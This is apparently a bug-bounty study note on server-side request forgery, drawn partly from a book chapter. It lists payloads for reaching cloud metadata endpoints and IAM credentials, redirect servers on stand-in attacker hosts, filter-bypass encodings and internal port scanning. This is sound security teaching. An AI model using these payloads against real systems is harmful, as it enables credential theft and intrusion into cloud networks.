Table of Contents
SSRF Testing
Server-Side Request Forgery: trick the server into making requests to internal/cloud resources.
Where to Look
- Features that take a URL parameter – API consoles, webhooks, developer tools
- Import from URL features
- PDF/screenshot generators
- Anything that fetches a remote resource on your behalf
Common Vulnerable Parameters
dest, url, uri, path, document, folder, root, pg, style, pdf, template, php_path, doc, redirect, return, window
Targets to Hit
http://169.254.169.254/latest/meta-data/ # AWS metadata http://169.254.169.254/latest/meta-data/iam/security-credentials/ http://metadata.google.internal/computeMetadata/v1/ http://localhost/ http://127.0.0.1/ http://[::1]/
Redirect-Based Bypass
Host a PHP redirect server locally and expose via ngrok:
<?php header("Location: ".$_GET['url']); ?>
php -S 0.0.0.0:8080 ngrok http 8080
The target's filter may only validate the input URL, not the final redirect destination. Submit your ngrok URL and redirect to http://169.254.169.254/.
Chain with Open Redirects
If the target has an open redirect at /redirect?goto=, use it as the SSRF payload:
https://target.com/fetch?url=https://target.com/redirect?goto=http://169.254.169.254/
The server fetches its own open redirect, which bounces to the internal resource.
Timing Detection
When you can't see the response, use a sleep-redirect to confirm SSRF:
<?php sleep(10); header("Location: http://169.254.169.254/"); ?>
A 10-second delay in the response confirms the server is following redirects to your controlled endpoint.
Escalation
- AWS metadata IAM credentials = AWS API access
- Internal admin panels via localhost
- Port scanning internal network
- Cloud metadata = pivot into cloud infrastructure
See Also
BBC Ch 13: Server-Side Request Forgery (SSRF)
Merged from Bug Bounty Bootcamp Ch 13 by Vickie Li
How SSRF Works
SSRF lets an attacker send requests from a trusted server on behalf of themselves. A public web server that fetches URLs supplied by the user can be directed to reach internal services that are normally firewalled from the internet.
Classic example – proxy service:
https://public.example.com/proxy?url=https://google.com (intended) https://public.example.com/proxy?url=https://admin.example.com (SSRF: fetches internal admin panel)
The request to admin.example.com originates from the trusted public server, not the attacker's machine, so internal firewall rules permit it.
Regular vs Blind SSRF: regular SSRF returns the fetched content in the HTTP response; blind SSRF executes the request but does not return the result. Both exploit the same trust relationships, but blind requires out-of-band confirmation.
Prevention
- Blocklist – reject requests to internal network addresses (127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.x.x); most common approach
- Allowlist – only permit requests to a predetermined set of approved URLs; stricter but more bypass-resistant
- Secret headers – require internal requests to include a special header or token not accessible to external users
Hunting for SSRFs
Step 1: Spot Prone Features
Any feature that causes the server to fetch an external resource is a candidate:
- Webhooks – app configuration pages where you supply a URL for callbacks (Slack event subscriptions, GitHub webhooks, etc.)
- File upload via URL – “upload from URL” or “import from link” features
- Link expansion / thumbnails – automatic preview generation when a URL is pasted
- Proxy services – URL parameters that return external content
- XML / PDF processing – server-side parsers that resolve external entities or fetch resources embedded in documents
- Hidden API endpoints – undocumented endpoints that accept a URL parameter
- HTML injection in img/iframe src – user input inserted into HTML that the server later renders server-side
Record each candidate endpoint:
Webhook: POST /webhook body: url=https://attacker.com File upload: POST /upload_from_url body: user_id=1234&url=https://attacker.com/img.jpeg Proxy: GET /proxy?url=https://google.com
Step 2: Submit Internal URLs
Replace the URL value with common internal addresses:
localhost 127.0.0.1 0.0.0.0 192.168.0.1 10.0.0.1 169.254.169.254 (AWS instance metadata)
Examples:
POST /webhook url=https://192.168.0.1 POST /upload_profile_from_url user_id=1234&url=https://127.0.0.1:22
Step 3: Check the Results
Regular SSRF: look for service banners or internal content in the HTTP response:
Error: cannot upload image: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
A service banner in the error message confirms SSRF.
Blind SSRF: use out-of-band detection:
- Start a Netcat listener:
nc -lp 8080and point payloads to your IP:8080 - Use Burp Collaborator (generates unique domain names and monitors for interactions)
- Compare HTTP status codes (200 vs 500) across different internal IPs and ports to infer which hosts and ports are reachable
- Compare response times – closed ports respond faster (connection refused); firewalled ports respond slower (timeout)
Bypassing SSRF Protection
Bypass Allowlists
If the server only allows URLs from a specific domain (e.g., pics.example.com):
Open redirect chain: use an open redirect on the allowlisted domain to bounce to an internal address:
url=https://pics.example.com/123?redirect=127.0.0.1
@-sign trick (host confused as credentials):
url=https://pics.example.com@127.0.0.1
Directory trick (internal IP with allowlisted domain as path):
url=https://127.0.0.1/pics.example.com
Bypass Blocklists
Attacker redirect: make the server request a URL you control that redirects to the blocked internal address:
url=https://attacker.com/ssrf
Serve this PHP on attacker.com:
<?php header("location: http://127.0.0.1"); ?>
IPv6: blocklists for IPv4 often don't cover IPv6 equivalents:
url=http://[::1] (IPv6 localhost) url=http://[fc00::] (IPv6 private network)
Custom DNS: point a domain you control to 127.0.0.1 via an A record, then use your domain as the URL.
Encoding variants of 127.0.0.1:
Hex: https://0x7f.0x0.0x0.0x1 Octal: https://0177.0.0.01 Dword: https://2130706433 URL: https://%6c%6f%63%61%6c%68%6f%73%74 (localhost) Mixed: https://0177.0.0.0x1
Escalating the Attack
Network and Port Scanning
Iterate over internal IP ranges and port numbers; observe differences in response codes or response time to map the internal network:
url=https://10.0.0.1 -> 200 + Apache banner (host exists) url=https://10.0.0.2 -> 500 "Connection Failed" (no host) url=https://10.0.0.1:80 -> 200 (port open) url=https://10.0.0.1:11 -> 500 (port closed)
Use SSRFmap (https://github.com/swisskyrepo/SSRFmap/) to automate scanning.
Pull EC2 Instance Metadata
If the target runs on AWS, query the metadata endpoint from the SSRF:
url=http://169.254.169.254/latest/meta-data/ url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME url=http://169.254.169.254/latest/dynamic/instance-identity/document/ url=http://169.254.169.254/latest/user-data/
These can leak IAM role credentials, S3 access tokens, and private IP addresses.
Pull Google Cloud Metadata
APIv1 requires special headers (Metadata-Flavor: Google) but v1beta1 does not:
url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token url=http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys
Note: v1beta1 was deprecated in 2020 and may be disabled on newer instances.
Attack Internal Services
- Bypass access control – access internal admin panels only reachable from trusted IPs:
- Internal API calls – trigger admin-only actions:
url=https://admin.example.com/delete_user?user=1
- Escalate to RCE – use leaked credentials to upload a shell; access an unsecured admin panel with script-execution features
8-Step Checklist
- Spot features prone to SSRF: webhooks, URL file uploads, proxy services, link expansion, XML/PDF processors, hidden API endpoints.
- Set up a Netcat listener or Burp Collaborator for blind SSRF detection.
- Submit internal addresses (127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.169.254) to each candidate endpoint.
- Check regular SSRF responses for service banners or internal page content.
- For blind SSRF: compare status codes and response times across hosts and ports to infer network topology.
- If protection is present, try bypass techniques: open redirect chain, @-sign trick, IPv6, custom DNS, encoding variants.
- Escalate: scan network, pull cloud metadata (AWS/GCP), bypass internal access controls, execute internal API calls.
- Draft report with curl PoC showing concrete data returned or access achieved.
